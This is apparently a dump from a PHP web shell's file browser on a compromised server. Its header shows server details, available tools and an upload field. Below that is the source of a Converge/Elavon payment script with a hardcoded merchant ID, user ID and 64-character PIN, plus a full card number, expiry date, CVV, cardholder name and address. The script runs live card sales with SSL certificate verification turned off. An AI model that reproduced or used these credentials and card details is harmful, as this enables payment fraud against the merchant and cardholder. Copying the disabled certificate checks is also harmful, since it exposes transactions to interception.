| Server IP : 103.234.187.230 / Your IP : 216.73.216.216 Web Server : Apache System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/b2bzend/ |
Upload File : |
<?php $merchantID = "620660"; //Converge 6 or 7-Digit Account ID *Not the 10-Digit Elavon Merchant ID* $merchantUserID = "atgwebuser"; //Converge User ID *MUST FLAG AS HOSTED API USER IN CONVERGE UI* $merchantPIN = "T6EGAH6901LFHK8WF5KYI0Z644WANQ9IYEVG8KUN72HH2O7NNZUXVVEXBBQY7FSZ"; //Converge PIN (64 CHAR A/N) //$url = 'https://api.myvirtualmerchant.com/VirtualMerchant/process.do'; //$url = 'https://api.myvirtualmerchant.com/VirtualMerchant/process.do'; $url ='https://www.myvirtualmerchant.com/VirtualMerchant/process.do'; $fields = array( 'ssl_merchant_id'=>$merchantID, 'ssl_user_id'=>$merchantUserID, 'ssl_pin'=>$merchantPIN, 'ssl_first_name'=>'Prashant', 'ssl_last_name'=>'Kumar', 'ssl_show_form'=>'false', 'ssl_result_format'=>'html', 'ssl_test_mode'=>'false', 'ssl_receipt_apprvl_method'=>'redg', 'ssl_receipt_decl_method'=>'REDG', 'ssl_receipt_decl_get_url'=>'http://atgtours.com/elavon.php', 'ssl_error_url'=>'http://atgtours.com/elavon.php', 'ssl_receipt_apprvl_get_url'=>'http://atgtours.com/elavon.php', 'ssl_transaction_type'=>'ccsale', 'ssl_amount'=>'1', 'ssl_avs_address'=>'harsh Vihar Noida', 'ssl_avs_zip'=>'201301', 'ssl_card_number'=>'4893772410967323', 'ssl_exp_date'=>'0623', 'ssl_cvv2cvc2_indicator'=>'1', 'ssl_cvv2cvc2'=>'865' ); $fields_string = http_build_query($fields); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); echo "<pre>"; print_r($result); exit; //$url = "https://api.demo.convergepay.com/hosted-payments/transaction_token"; // URL to Converge demo session token server $url = "https://api.convergepay.com/hosted-payments/transaction_token"; // URL to Converge production session token server // Read the following querystring variables $firstname="prashant"; //Post first name $lastname="kumar"; //Post first name $amount= "25"; //Post Tran Amount $ch = curl_init(); // initialize curl handle curl_setopt($ch, CURLOPT_URL,$url); // set url to post to curl_setopt($ch,CURLOPT_POST, true); // set POST method curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // Set up the post fields. If you want to add custom fields, you would add them in Converge, and add the field name in the curlopt_postfields string. curl_setopt($ch,CURLOPT_POSTFIELDS, "ssl_merchant_id=$merchantID". "&ssl_user_id=$merchantUserID". "&ssl_pin=$merchantPIN". "&ssl_transaction_type=ccsale". "&ssl_first_name=$firstname". "&ssl_last_name=$lastname". "&ssl_get_token=N". "&ssl_add_token=N". "&ssl_amount=$amount" ); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_VERBOSE, true); $result = curl_exec($ch); // run the curl procss curl_close($ch); // Close cURL echo $result; //shows the session token. ?>